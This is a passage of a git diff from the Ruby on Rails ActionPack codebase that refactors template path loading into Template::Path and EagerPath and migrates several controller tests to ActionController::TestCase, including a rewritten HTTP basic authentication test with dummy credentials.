class PathSet < Array #:nodoc:
def self.type_cast(obj)
if obj.is_a?(String)
- Path.new(obj)
+ Template::EagerPath.new(obj)
else
obj
end
@@ -32,111 +32,6 @@ module ActionView #:nodoc:
super(*objs.map { |obj| self.class.type_cast(obj) })
end
- class Path #:nodoc:
- attr_reader :path, :paths
- delegate :hash, :inspect, :to => :path
-
- def initialize(path, load = false)
- raise ArgumentError, "path already is a Path class" if path.is_a?(Path)
- @path = path.freeze
- reload! if load
- end
-
- def to_s
- if defined?(RAILS_ROOT)
- path.to_s.sub(/^#{Regexp.escape(File.expand_path(RAILS_ROOT))}\//, '')
- else
- path.to_s
- end
- end
-
- def to_str
- path.to_str
- end
-
- def ==(path)
- to_str == path.to_str
- end
-
- def eql?(path)
- to_str == path.to_str
- end
-
- # Returns a ActionView::Template object for the given path string. The
- # input path should be relative to the view path directory,
- # +hello/index.html.erb+. This method also has a special exception to
- # match partial file names without a handler extension. So
- # +hello/index.html+ will match the first template it finds with a
- # known template extension, +hello/index.html.erb+. Template extensions
- # should not be confused with format extensions +html+, +js+, +xml+,
- # etc. A format must be supplied to match a formated file. +hello/index+
- # will never match +hello/index.html.erb+.
- #
- # This method also has two different implementations, one that is "lazy"
- # and makes file system calls every time and the other is cached,
- # "eager" which looks up the template in an in memory index. The "lazy"
- # version is designed for development where you want to automatically
- # find new templates between requests. The "eager" version is designed
- # for production mode and it is much faster but requires more time
- # upfront to build the file index.
- def [](path)
- if loaded?
- @paths[path]
- else
- Dir.glob("#{@path}/#{path}*").each do |file|
- template = create_template(file)
- if template.accessible_paths.include?(path)
- return template
- end
- end
- nil
- end
- end
-
- def loaded?
- @loaded ? true : false
- end
-
- def load
- reload! unless loaded?
- self
- end
-
- # Rebuild load path directory cache
- def reload!
- @paths = {}
-
- templates_in_path do |template|
- template.load!
- template.accessible_paths.each do |path|
- @paths[path] = template
- end
- end
-
- @paths.freeze
- @loaded = true
- end
-
- private
- def templates_in_path
- (Dir.glob("#{@path}/**/*/**") | Dir.glob("#{@path}/**")).each do |file|
- yield create_template(file) unless File.directory?(file)
- end
- end
-
- def create_template(file)
- Template.new(file.split("#{self}/").last, self)
- end
- end
-
- def load
- each { |path| path.load }
- end
-
- def reload!
- each { |path| path.reload! }
- end
-
def find_template(original_template_path, format = nil)
return original_template_path if original_template_path.respond_to?(:render)
template_path = original_template_path.sub(/^\//, '')
diff --git a/actionpack/lib/action_view/renderable.rb b/actionpack/lib/action_view/renderable.rb
index d8e72f1179..153e14f68b 100644
--- a/actionpack/lib/action_view/renderable.rb
+++ b/actionpack/lib/action_view/renderable.rb
@@ -60,7 +60,7 @@ module ActionView
def compile(local_assigns)
render_symbol = method_name(local_assigns)
- if recompile?(render_symbol)
+ if !Base::CompiledTemplates.method_defined?(render_symbol) || recompile?
compile!(render_symbol, local_assigns)
end
end
@@ -89,11 +89,8 @@ module ActionView
end
end
- # Method to check whether template compilation is necessary.
- # The template will be compiled if the file has not been compiled yet, or
- # if local_assigns has a new key, which isn't supported by the compiled code yet.
- def recompile?(symbol)
- !Base::CompiledTemplates.method_defined?(symbol) || !loaded?
+ def recompile?
+ false
end
end
end
diff --git a/actionpack/lib/action_view/renderable_partial.rb b/actionpack/lib/action_view/renderable_partial.rb
index d92ff1b8d3..3ea836fa25 100644
--- a/actionpack/lib/action_view/renderable_partial.rb
+++ b/actionpack/lib/action_view/renderable_partial.rb
@@ -25,12 +25,11 @@ module ActionView
end
def render_partial(view, object = nil, local_assigns = {}, as = nil)
- object ||= local_assigns[:object] ||
- local_assigns[variable_name]
+ object ||= local_assigns[:object] || local_assigns[variable_name]
- if view.respond_to?(:controller)
+ if object.nil? && view.respond_to?(:controller)
ivar = :"@#{variable_name}"
- object ||=
+ object =
if view.controller.instance_variable_defined?(ivar)
ActiveSupport::Deprecation::DeprecatedObjectProxy.new(
view.controller.instance_variable_get(ivar),
diff --git a/actionpack/lib/action_view/template.rb b/actionpack/lib/action_view/template.rb
index 5b384d0e4d..9d1e0d3ac5 100644
--- a/actionpack/lib/action_view/template.rb
+++ b/actionpack/lib/action_view/template.rb
@@ -1,5 +1,83 @@
module ActionView #:nodoc:
class Template
+ class Path
+ attr_reader :path, :paths
+ delegate :hash, :inspect, :to => :path
+
+ def initialize(path)
+ raise ArgumentError, "path already is a Path class" if path.is_a?(Path)
+ @path = path.freeze
+ end
+
+ def to_s
+ if defined?(RAILS_ROOT)
+ path.to_s.sub(/^#{Regexp.escape(File.expand_path(RAILS_ROOT))}\//, '')
+ else
+ path.to_s
+ end
+ end
+
+ def to_str
+ path.to_str
+ end
+
+ def ==(path)
+ to_str == path.to_str
+ end
+
+ def eql?(path)
+ to_str == path.to_str
+ end
+
+ # Returns a ActionView::Template object for the given path string. The
+ # input path should be relative to the view path directory,
+ # +hello/index.html.erb+. This method also has a special exception to
+ # match partial file names without a handler extension. So
+ # +hello/index.html+ will match the first template it finds with a
+ # known template extension, +hello/index.html.erb+. Template extensions
+ # should not be confused with format extensions +html+, +js+, +xml+,
+ # etc. A format must be supplied to match a formated file. +hello/index+
+ # will never match +hello/index.html.erb+.
+ def [](path)
+ templates_in_path do |template|
+ if template.accessible_paths.include?(path)
+ return template
+ end
+ end
+ nil
+ end
+
+ private
+ def templates_in_path
+ (Dir.glob("#{@path}/**/*/**") | Dir.glob("#{@path}/**")).each do |file|
+ yield create_template(file) unless File.directory?(file)
+ end
+ end
+
+ def create_template(file)
+ Template.new(file.split("#{self}/").last, self)
+ end
+ end
+
+ class EagerPath < Path
+ def initialize(path)
+ super
+
+ @paths = {}
+ templates_in_path do |template|
+ template.load!
+ template.accessible_paths.each do |path|
+ @paths[path] = template
+ end
+ end
+ @paths.freeze
+ end
+
+ def [](path)
+ @paths[path]
+ end
+ end
+
extend TemplateHandlers
extend ActiveSupport::Memoizable
include Renderable
@@ -115,19 +193,18 @@ module ActionView #:nodoc:
File.mtime(filename) > mtime
end
- def loaded?
- @loaded
+ def recompile?
+ !@cached
end
def load!
- @loaded = true
- compile({})
+ @cached = true
freeze
end
private
def valid_extension?(extension)
- Template.template_handler_extensions.include?(extension)
+ !Template.registered_template_handler(extension).nil?
end
def find_full_path(path, load_paths)
diff --git a/actionpack/lib/action_view/template_handlers.rb b/actionpack/lib/action_view/template_handlers.rb
index d06ddd5fb5..205f8628f0 100644
--- a/actionpack/lib/action_view/template_handlers.rb
+++ b/actionpack/lib/action_view/template_handlers.rb
@@ -32,13 +32,17 @@ module ActionView #:nodoc:
@@template_handlers.keys.map(&:to_s).sort
end
+ def registered_template_handler(extension)
+ extension && @@template_handlers[extension.to_sym]
+ end
+
def register_default_template_handler(extension, klass)
register_template_handler(extension, klass)
@@default_template_handlers = klass
end
def handler_class_for_extension(extension)
- (extension && @@template_handlers[extension.to_sym]) || @@default_template_handlers
+ registered_template_handler(extension) || @@default_template_handlers
end
end
end
diff --git a/actionpack/lib/action_view/test_case.rb b/actionpack/lib/action_view/test_case.rb
index 1a9ef983a5..ec337bb05b 100644
--- a/actionpack/lib/action_view/test_case.rb
+++ b/actionpack/lib/action_view/test_case.rb
@@ -1,3 +1,5 @@
+require 'active_support/test_case'
+
module ActionView
class Base
alias_method :initialize_without_template_tracking, :initialize
@@ -21,6 +23,7 @@ module ActionView
class TestCase < ActiveSupport::TestCase
include ActionController::TestCase::Assertions
+ include ActionController::TestProcess
class_inheritable_accessor :helper_class
@@helper_class = nil
diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb
index 2ba056e60f..30e2d863d0 100644
--- a/actionpack/test/abstract_unit.rb
+++ b/actionpack/test/abstract_unit.rb
@@ -34,7 +34,6 @@ ActionController::Base.session_store = nil
FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures')
ActionController::Base.view_paths = FIXTURE_LOAD_PATH
-ActionController::Base.view_paths.load
def uses_mocha(test_name)
yield
diff --git a/actionpack/test/controller/addresses_render_test.rb b/actionpack/test/controller/addresses_render_test.rb
index b26cae24fb..556b0593ea 100644
--- a/actionpack/test/controller/addresses_render_test.rb
+++ b/actionpack/test/controller/addresses_render_test.rb
@@ -19,17 +19,14 @@ class AddressesTestController < ActionController::Base
def self.controller_path; "addresses"; end
end
-class AddressesTest < Test::Unit::TestCase
- def setup
- @controller = AddressesTestController.new
+class AddressesTest < ActionController::TestCase
+ tests AddressesTestController
+ def setup
# enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
# a more accurate simulation of what happens in "real life".
@controller.logger = Logger.new(nil)
- @request = ActionController::TestRequest.new
- @response = ActionController::TestResponse.new
-
@request.host = "www.nextangle.com"
end
diff --git a/actionpack/test/controller/assert_select_test.rb b/actionpack/test/controller/assert_select_test.rb
index ed8c4427c9..99c57c0c91 100644
--- a/actionpack/test/controller/assert_select_test.rb
+++ b/actionpack/test/controller/assert_select_test.rb
@@ -248,6 +248,14 @@ class AssertSelectTest < ActionController::TestCase
end
end
+ def test_assert_select_rjs_for_positioned_insert_should_fail_when_mixing_arguments
+ render_rjs do |page|
+ page.insert_html :top, "test1", "<div id=\"1\">foo</div>"
+ page.insert_html :bottom, "test2", "<div id=\"2\">foo</div>"
+ end
+ assert_raises(Assertion) {assert_select_rjs :insert, :top, "test2"}
+ end
+
#
# Test css_select.
#
diff --git a/actionpack/test/controller/base_test.rb b/actionpack/test/controller/base_test.rb
index 18d185b264..9523189f41 100644
--- a/actionpack/test/controller/base_test.rb
+++ b/actionpack/test/controller/base_test.rb
@@ -129,6 +129,8 @@ class PerformActionTest < ActionController::TestCase
@response = ActionController::TestResponse.new
@request.host = "www.nextangle.com"
+
+ rescue_action_in_public!
end
def test_get_on_priv_should_show_selector
@@ -164,14 +166,12 @@ class PerformActionTest < ActionController::TestCase
end
end
-class DefaultUrlOptionsTest < Test::Unit::TestCase
- def setup
- @controller = DefaultUrlOptionsController.new
-
- @request = ActionController::TestRequest.new
- @response = ActionController::TestResponse.new
+class DefaultUrlOptionsTest < ActionController::TestCase
+ tests DefaultUrlOptionsController
+ def setup
@request.host = 'www.example.com'
+ rescue_action_in_public!
end
def test_default_url_options_are_used_if_set
@@ -189,14 +189,12 @@ class DefaultUrlOptionsTest < Test::Unit::TestCase
end
end
-class EmptyUrlOptionsTest < Test::Unit::TestCase
- def setup
- @controller = NonEmptyController.new
-
- @request = ActionController::TestRequest.new
- @response = ActionController::TestResponse.new
+class EmptyUrlOptionsTest < ActionController::TestCase
+ tests NonEmptyController
+ def setup
@request.host = 'www.example.com'
+ rescue_action_in_public!
end
def test_ensure_url_for_works_as_expected_when_called_with_no_options_if_default_url_options_is_not_set
diff --git a/actionpack/test/controller/benchmark_test.rb b/actionpack/test/controller/benchmark_test.rb
index 608ea5f5a9..f9100a2313 100644
--- a/actionpack/test/controller/benchmark_test.rb
+++ b/actionpack/test/controller/benchmark_test.rb
@@ -11,17 +11,17 @@ class BenchmarkedController < ActionController::Base
end
end
-class BenchmarkTest < Test::Unit::TestCase
+class BenchmarkTest < ActionController::TestCase
+ tests BenchmarkedController
+
class MockLogger
def method_missing(*args)
end
end
def setup
- @controller = BenchmarkedController.new
# benchmark doesn't do anything unless a logger is set
@controller.logger = MockLogger.new
- @request, @response = ActionController::TestRequest.new, ActionController::TestResponse.new
@request.host = "test.actioncontroller.i"
end
diff --git a/actionpack/test/controller/caching_test.rb b/actionpack/test/controller/caching_test.rb
index e24bb00bc7..7f8e47ba58 100644
--- a/actionpack/test/controller/caching_test.rb
+++ b/actionpack/test/controller/caching_test.rb
@@ -121,8 +121,7 @@ class PageCachingTest < ActionController::TestCase
[:get, :post, :put, :delete].each do |method|
unless method == :get and status == :ok
define_method "test_shouldnt_cache_#{method}_with_#{status}_status" do
- @request.env['REQUEST_METHOD'] = method.to_s.upcase
- process status
+ send(method, status)
assert_response status
assert_page_not_cached status, "#{method} with #{status} status shouldn't have been cached"
end
diff --git a/actionpack/test/controller/capture_test.rb b/actionpack/test/controller/capture_test.rb
index 5ded6a5d26..6dfa0995eb 100644
--- a/actionpack/test/controller/capture_test.rb
+++ b/actionpack/test/controller/capture_test.rb
@@ -23,17 +23,14 @@ class CaptureController < ActionController::Base
def rescue_action(e) raise end
end
-class CaptureTest < Test::Unit::TestCase
- def setup
- @controller = CaptureController.new
+class CaptureTest < ActionController::TestCase
+ tests CaptureController
+ def setup
# enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
# a more accurate simulation of what happens in "real life".
@controller.logger = Logger.new(nil)
- @request = ActionController::TestRequest.new
- @response = ActionController::TestResponse.new
-
@request.host = "www.nextangle.com"
end
diff --git a/actionpack/test/controller/content_type_test.rb b/actionpack/test/controller/content_type_test.rb
index ae71d62e11..32c1757ef9 100644
--- a/actionpack/test/controller/content_type_test.rb
+++ b/actionpack/test/controller/content_type_test.rb
@@ -50,16 +50,13 @@ class ContentTypeController < ActionController::Base
def rescue_action(e) raise end
end
-class ContentTypeTest < Test::Unit::TestCase
- def setup
- @controller = ContentTypeController.new
+class ContentTypeTest < ActionController::TestCase
+ tests ContentTypeController
+ def setup
# enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
# a more accurate simulation of what happens in "real life".
@controller.logger = Logger.new(nil)
-
- @request = ActionController::TestRequest.new
- @response = ActionController::TestResponse.new
end
def test_render_defaults
diff --git a/actionpack/test/controller/cookie_test.rb b/actionpack/test/controller/cookie_test.rb
index 3ddc5768a9..9508348ca1 100644
--- a/actionpack/test/controller/cookie_test.rb
+++ b/actionpack/test/controller/cookie_test.rb
@@ -1,6 +1,6 @@
require 'abstract_unit'
-class CookieTest < Test::Unit::TestCase
+class CookieTest < ActionController::TestCase
class TestController < ActionController::Base
def authenticate
cookies["user_name"] = "david"
@@ -41,11 +41,9 @@ class CookieTest < Test::Unit::TestCase
end
end
- def setup
- @request = ActionController::TestRequest.new
- @response = ActionController::TestResponse.new
+ tests TestController
- @controller = TestController.new
+ def setup
@request.host = "www.nextangle.com"
end
diff --git a/actionpack/test/controller/dispatcher_test.rb b/actionpack/test/controller/dispatcher_test.rb
index fd06b4ea99..7cd4e71aa1 100644
--- a/actionpack/test/controller/dispatcher_test.rb
+++ b/actionpack/test/controller/dispatcher_test.rb
@@ -32,11 +32,6 @@ class DispatcherTest < Test::Unit::TestCase
dispatch(false)
end
- def test_clears_asset_tag_cache_before_dispatch_if_in_loading_mode
- ActionView::Helpers::AssetTagHelper::AssetTag::Cache.expects(:clear).once
- dispatch(false)
- end
-
def test_leaves_dependencies_after_dispatch_if_not_in_loading_mode
ActionController::Routing::Routes.expects(:reload).never
ActiveSupport::Dependencies.expects(:clear).never
@@ -96,9 +91,7 @@ class DispatcherTest < Test::Unit::TestCase
private
def dispatch(cache_classes = true)
- controller = mock()
- controller.stubs(:process).returns([200, {}, 'response'])
- ActionController::Routing::Routes.stubs(:recognize).returns(controller)
+ ActionController::Routing::RouteSet.any_instance.stubs(:call).returns([200, {}, 'response'])
Dispatcher.define_dispatcher_callbacks(cache_classes)
@dispatcher.call({})
end
diff --git a/actionpack/test/controller/filters_test.rb b/actionpack/test/controller/filters_test.rb
index dafa344473..e83fde2349 100644
--- a/actionpack/test/controller/filters_test.rb
+++ b/actionpack/test/controller/filters_test.rb
@@ -634,9 +634,11 @@ class FilterTest < Test::Unit::TestCase
private
def test_process(controller, action = "show")
+ ActionController::Base.class_eval { include ActionController::ProcessWithTest } unless ActionController::Base < ActionController::ProcessWithTest
request = ActionController::TestRequest.new
request.action = action
- controller.process(request, ActionController::TestResponse.new)
+ controller = controller.new if controller.is_a?(Class)
+ controller.process_with_test(request, ActionController::TestResponse.new)
end
end
@@ -874,8 +876,10 @@ class YieldingAroundFiltersTest < Test::Unit::TestCase
protected
def test_process(controller, action = "show")
+ ActionController::Base.class_eval { include ActionController::ProcessWithTest } unless ActionController::Base < ActionController::ProcessWithTest
request = ActionController::TestRequest.new
request.action = action
- controller.process(request, ActionController::TestResponse.new)
+ controller = controller.new if controller.is_a?(Class)
+ controller.process_with_test(request, ActionController::TestResponse.new)
end
end
diff --git a/actionpack/test/controller/flash_test.rb b/actionpack/test/controller/flash_test.rb
index e562531bf3..d8a892811e 100644
--- a/actionpack/test/controller/flash_test.rb
+++ b/actionpack/test/controller/flash_test.rb
@@ -1,6 +1,6 @@
require 'abstract_unit'
-class FlashTest < Test::Unit::TestCase
+class FlashTest < ActionController::TestCase
class TestController < ActionController::Base
def set_flash
flash["that"] = "hello"
@@ -73,11 +73,7 @@ class FlashTest < Test::Unit::TestCase
end
end
- def setup
- @request = ActionController::TestRequest.new
- @response = ActionController::TestResponse.new
- @controller = TestController.new
- end
+ tests TestController
def test_flash
get :set_flash
diff --git a/actionpack/test/controller/http_authentication_test.rb b/actionpack/test/controller/http_authentication_test.rb
deleted file mode 100644
index c0069e8032..0000000000
--- a/actionpack/test/controller/http_authentication_test.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-require 'abstract_unit'
-
-class HttpBasicAuthenticationTest < Test::Unit::TestCase
- include ActionController::HttpAuthentication::Basic
-
- class DummyController
- attr_accessor :headers, :renders, :request
-
- def initialize
- @headers, @renders = {}, []
- @request = ActionController::TestRequest.new
- end
-
- def render(options)
- self.renders << options
- end
- end
-
- def setup
- @controller = DummyController.new
- @credentials = ActionController::HttpAuthentication::Basic.encode_credentials("dhh", "secret")
- end
-
- def test_successful_authentication
- login = Proc.new { |user_name, password| user_name == "dhh" && password == "secret" }
- set_headers
- assert authenticate(@controller, &login)
-
- set_headers ''
- assert_nothing_raised do
- assert !authenticate(@controller, &login)
- end
-
- set_headers nil
- set_headers @credentials, 'REDIRECT_X_HTTP_AUTHORIZATION'
- assert authenticate(@controller, &login)
- end
-
- def test_failing_authentication
- set_headers
- assert !authenticate(@controller) { |user_name, password| user_name == "dhh" && password == "incorrect" }
- end
-
- def test_authentication_request
- authentication_request(@controller, "Megaglobalapp")
- assert_equal 'Basic realm="Megaglobalapp"', @controller.headers["WWW-Authenticate"]
- assert_equal :unauthorized, @controller.renders.first[:status]
- end
-
- private
- def set_headers(value = @credentials, name = 'HTTP_AUTHORIZATION')
- @controller.request.env[name] = value
- end
-end
diff --git a/actionpack/test/controller/http_basic_authentication_test.rb b/actionpack/test/controller/http_basic_authentication_test.rb
new file mode 100644
index 0000000000..08a25bfdb8
--- /dev/null
+++ b/actionpack/test/controller/http_basic_authentication_test.rb
@@ -0,0 +1,88 @@
+require 'abstract_unit'
+
+class DummyController < ActionController::Base
+ before_filter :authenticate, :only => :index
+ before_filter :authenticate_with_request, :only => :display
+
+ def index
+ render :text => "Hello Secret"
+ end
+
+ def display
+ render :text => 'Definitely Maybe'
+ end
+
+ private
+
+ def authenticate
+ authenticate_or_request_with_http_basic do |username, password|
+ username == 'lifo' && password == 'world'
+ end
+ end
+
+ def authenticate_with_request
+ if authenticate_with_http_basic { |username, password| username == 'pretty' && password == 'please' }
+ @logged_in = true
+ else
+ request_http_basic_authentication("SuperSecret")
+ end
+ end
+end
+
+class HttpBasicAuthenticationTest < ActionController::TestCase
+ AUTH_HEADERS = ['HTTP_AUTHORIZATION', 'X-HTTP_AUTHORIZATION', 'X_HTTP_AUTHORIZATION', 'REDIRECT_X_HTTP_AUTHORIZATION']
+
+ tests DummyController
+
+ AUTH_HEADERS.each do |header|
+ test "successful authentication with #{header.downcase}" do
+ @request.env[header] = encode_credentials('lifo', 'world')
+ get :index
+
+ assert_response :success
+ assert_equal 'Hello Secret', @response.body, "Authentication failed for request header #{header}"
+ end
+ end
+
+ AUTH_HEADERS.each do |header|
+ test "unsuccessful authentication with #{header.downcase}" do
+ @request.env[header] = encode_credentials('h4x0r', 'world')
+ get :index
+
+ assert_response :unauthorized
+ assert_equal "HTTP Basic: Access denied.\n", @response.body, "Authentication didn't fail for request header #{header}"
+ end
+ end
+
+ test "authentication request without credential" do
+ get :display
+
+ assert_response :unauthorized
+ assert_equal "HTTP Basic: Access denied.\n", @response.body
+ assert_equal 'Basic realm="SuperSecret"', @response.headers['WWW-Authenticate']
+ end
+
+ test "authentication request with invalid credential" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials('pretty', 'foo')
+ get :display
+
+ assert_response :unauthorized
+ assert_equal "HTTP Basic: Access denied.\n", @response.body
+ assert_equal 'Basic realm="SuperSecret"', @response.headers['WWW-Authenticate']
+ end
+
+ test "authentication request with valid credential" do
+ @request.env['HTTP_AUTHORIZATION'] = encode_credentials('pretty', 'please')
+ get :display
+
+ assert_response :success
+ assert assigns(:logged_in)
+ assert_equal 'Definitely Maybe', @response.body
+ end
+
+ private
+
+ def encode_credentials(username, password)
+ "Basic #{ActiveSupport::Base64.encode64("#{username}:#{password}")}"
+ end
+end
diff --git a/actionpack/test/controller/integration_test.rb b/actionpack/test/controller/integration_test.rb
index c28050fe0d..4f07cbee47 100644
--- a/actionpack/test/controller/integration_test.rb
+++ b/actionpack/test/controller/integration_test.rb
@@ -4,7 +4,7 @@ uses_mocha 'integration' do
class SessionTest < Test::Unit::TestCase
StubApp = lambda { |env|
- [200, {"Content-Type" => "text/html"}, "Hello, World!"]
+ [200, {"Content-Type" => "text/html", "Content-Length" => "13"}, "Hello, World!"]
}
def setup
@@ -377,9 +377,9 @@ class MetalTest < ActionController::IntegrationTest
class Poller
def self.call(env)
if env["PATH_INFO"] =~ /^\/success/
- [200, {"Content-Type" => "text/plain"}, "Hello World!"]
+ [200, {"Content-Type" => "text/plain", "Content-Length" => "12"}, "Hello World!"]
else
- [404, {"Content-Type" => "text/plain"}, '']
+ [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, '']
end
end
end
diff --git a/actionpack/test/controller/integration_upload_test.rb b/actionpack/test/controller/integration_upload_test.rb
deleted file mode 100644
index 39d2e164e4..0000000000
--- a/actionpack/test/controller/integration_upload_test.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-require 'abstract_unit'
-
-unless defined? ApplicationController
- class ApplicationController < ActionController::Base
- end
-end
-
-class UploadTestController < ActionController::Base
- def update
- SessionUploadTest.last_request_type = ActionController::Base.param_parsers[request.content_type]
- render :text => "got here"
- end
-end
-
-class SessionUploadTest < ActionController::IntegrationTest
- FILES_DIR = File.dirname(__FILE__) + '/../fixtures/multipart'
-
- class << self
- attr_accessor :last_request_type
- end
-
- # def setup
- # @session = ActionController::Integration::Session.new
- # end
- def test_post_with_upload
- uses_mocha "test_post_with_upload" do
- ActiveSupport::Dependencies.stubs(:load?).returns(false)
- with_routing do |set|
- set.draw do |map|
- map.update 'update', :controller => "upload_test", :action => "update", :method => :post
- end
-
- params = { :uploaded_data => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg") }
- post '/update', params, :location => 'blah'
- assert_equal(:multipart_form, SessionUploadTest.last_request_type)
- end
- end
- end
-end
diff --git a/actionpack/test/controller/layout_test.rb b/actionpack/test/controller/layout_test.rb
index 18c01f755c..2f5e830fba 100644
--- a/actionpack/test/controller/layout_test.rb
+++ b/actionpack/test/controller/layout_test.rb
@@ -146,8 +146,7 @@ class LayoutExceptionRaised < ActionController::TestCase
def test_exception_raised_when_layout_file_not_found
@controller = SetsNonExistentLayoutFile.new
get :hello
- @response.template.class.module_eval { attr_accessor :exception }
- assert_equal ActionView::MissingTemplate, @response.template.exception.class
+ assert_kind_of ActionView::MissingTemplate, @response.template.instance_eval { @exception }
end
end
@@ -165,15 +164,17 @@ class LayoutStatusIsRenderedTest < ActionController::TestCase
end
end
-class LayoutSymlinkedTest < LayoutTest
- layout "symlinked/symlinked_layout"
-end
+unless RUBY_PLATFORM =~ /(:?mswin|mingw|bccwin)/
+ class LayoutSymlinkedTest < LayoutTest
+ layout "symlinked/symlinked_layout"
+ end
-class LayoutSymlinkedIsRenderedTest < ActionController::TestCase
- def test_symlinked_layout_is_rendered
- @controller = LayoutSymlinkedTest.new
- get :hello
- assert_response 200
- assert_equal "layouts/symlinked/symlinked_layout", @response.layout
+ class LayoutSymlinkedIsRenderedTest < ActionController::TestCase
+ def test_symlinked_layout_is_rendered
+ @controller = LayoutSymlinkedTest.new
+ get :hello
+ assert_response 200
+ assert_equal "layouts/symlinked/symlinked_layout", @response.layout
+ end
end
end
diff --git a/actionpack/test/controller/middleware_stack_test.rb b/actionpack/test/controller/middleware_stack_test.rb
new file mode 100644
index 0000000000..2a141697da
--- /dev/null
+++ b/actionpack/test/controller/middleware_stack_test.rb
@@ -0,0 +1,76 @@
+require 'abstract_unit'
+
+class MiddlewareStackTest < ActiveSupport::TestCase
+ class FooMiddleware; end
+ class BarMiddleware; end
+ class BazMiddleware; end
+
+ def setup
+ @stack = ActionController::MiddlewareStack.new
+ @stack.use FooMiddleware
+ @stack.use BarMiddleware
+ end
+
+ test "use should push middleware as class onto the stack" do
+ assert_difference "@stack.size" do
+ @stack.use BazMiddleware
+ end
+ assert_equal BazMiddleware, @stack.last.klass
+ end
+
+ test "use should push middleware as a string onto the stack" do
+ assert_difference "@stack.size" do
+ @stack.use "MiddlewareStackTest::BazMiddleware"
+ end
+ assert_equal BazMiddleware, @stack.last.klass
+ end
+
+ test "use should push middleware as a symbol onto the stack" do
+ assert_difference "@stack.size" do
+ @stack.use :"MiddlewareStackTest::BazMiddleware"
+ end
+ assert_equal BazMiddleware, @stack.last.klass
+ end
+
+ test "use should push middleware class with arguments onto the stack" do
+ assert_difference "@stack.size" do
+ @stack.use BazMiddleware, true, :foo => "bar"
+ end
+ assert_equal BazMiddleware, @stack.last.klass
+ assert_equal([true, {:foo => "bar"}], @stack.last.args)
+ end
+
+ test "insert inserts middleware at the integer index" do
+ @stack.insert(1, BazMiddleware)
+ assert_equal BazMiddleware, @stack[1].klass
+ end
+
+ test "insert_after inserts middleware after the integer index" do
+ @stack.insert_after(1, BazMiddleware)
+ assert_equal BazMiddleware, @stack[2].klass
+ end
+
+ test "insert_before inserts middleware before another middleware class" do
+ @stack.insert_before(BarMiddleware, BazMiddleware)
+ assert_equal BazMiddleware, @stack[1].klass
+ end
+
+ test "insert_after inserts middleware after another middleware class" do
+ @stack.insert_after(BarMiddleware, BazMiddleware)
+ assert_equal BazMiddleware, @stack[2].klass
+ end
+
+ test "swaps one middleware out for another" do
+ assert_equal FooMiddleware, @stack[0].klass
+ @stack.swap(FooMiddleware, BazMiddleware)
+ assert_equal BazMiddleware, @stack[0].klass
+ end
+
+ test "active returns all only enabled middleware" do
+ assert_no_difference "@stack.active.size" do
+ assert_difference "@stack.size" do
+ @stack.use BazMiddleware, :if => lambda { false }
+ end
+ end
+ end
+end
diff --git a/actionpack/test/controller/rack_test.rb b/actionpack/test/controller/rack_test.rb
index 406e2b2818..8ad42614b4 100644
--- a/actionpack/test/controller/rack_test.rb
+++ b/actionpack/test/controller/rack_test.rb
@@ -4,7 +4,7 @@ class BaseRackTest < Test::Unit::TestCase
def setup
@env = {
"HTTP_MAX_FORWARDS" => "10",
- "SERVER_NAME" => "glu.ttono.us:8007",
+ "SERVER_NAME" => "glu.ttono.us",
"FCGI_ROLE" => "RESPONDER",
"AUTH_TYPE" => "Basic",
"HTTP_X_FORWARDED_HOST" => "glu.ttono.us",
@@ -57,7 +57,7 @@ class BaseRackTest < Test::Unit::TestCase
@request.env['REQUEST_METHOD'] = 'POST'
@request.env['CONTENT_LENGTH'] = data.length
@request.env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
- @request.env['RAW_POST_DATA'] = data
+ @request.env['rack.input'] = StringIO.new(data)
end
end
@@ -145,7 +145,7 @@ class RackRequestTest < BaseRackTest
assert_equal "kevin", @request.remote_user
assert_equal :get, @request.request_method
assert_equal "/dispatch.fcgi", @request.script_name
- assert_equal "glu.ttono.us:8007", @request.server_name
+ assert_equal "glu.ttono.us", @request.server_name
assert_equal 8007, @request.server_port
assert_equal "HTTP/1.1", @request.server_protocol
assert_equal "lighttpd", @request.server_software
@@ -236,7 +236,12 @@ class RackResponseTest < BaseRackTest
status, headers, body = @response.to_a
assert_equal 200, status
- assert_equal({"Content-Type" => "text/html; charset=utf-8", "Cache-Control" => "no-cache", "Set-Cookie" => []}, headers)
+ assert_equal({
+ "Content-Type" => "text/html; charset=utf-8",
+ "Content-Length" => "",
+ "Cache-Control" => "no-cache",
+ "Set-Cookie" => []
+ }, headers)
parts = []
body.each { |part| parts << part }
diff --git a/actionpack/test/controller/render_test.rb b/actionpack/test/controller/render_test.rb
index 8e08a5a8e9..8809aa7c34 100644
--- a/actionpack/test/controller/render_test.rb
+++ b/actionpack/test/controller/render_test.rb
@@ -21,6 +21,8 @@ class MockLogger
end
class TestController < ActionController::Base
+ protect_from_forgery
+
class LabellingFormBuilder < ActionView::Helpers::FormBuilder
end
@@ -79,6 +81,10 @@ class TestController < ActionController::Base
render :action => "hello_world"
end
+ def render_action_hello_world_as_string
+ render "hello_world"
+ end
+
def render_action_hello_world_with_symbol
render :action => :hello_world
end
@@ -102,6 +108,12 @@ class TestController < ActionController::Base
render :file => path
end
+ def render_file_as_string_with_instance_variables
+ @secret = 'in the sauce'
+ path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb'))
+ render path
+ end
+
def render_file_not_using_full_path
@secret = 'in the sauce'
render :file => 'test/render_file_with_ivar'
@@ -122,6 +134,11 @@ class TestController < ActionController::Base
render :file => path, :locals => {:secret => 'in the sauce'}
end
+ def render_file_as_string_with_locals
+ path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals.erb'))
+ render path, :locals => {:secret => 'in the sauce'}
+ end
+
def accessing_request_in_template
render :inline => "Hello: <%= request.host %>"
end
@@ -180,10 +197,6 @@ class TestController < ActionController::Base
render :text => "appended"
end
- def render_invalid_args
- render("test/hello")
- end
-
def render_vanilla_js_hello
render :js => "alert('hello')"
end
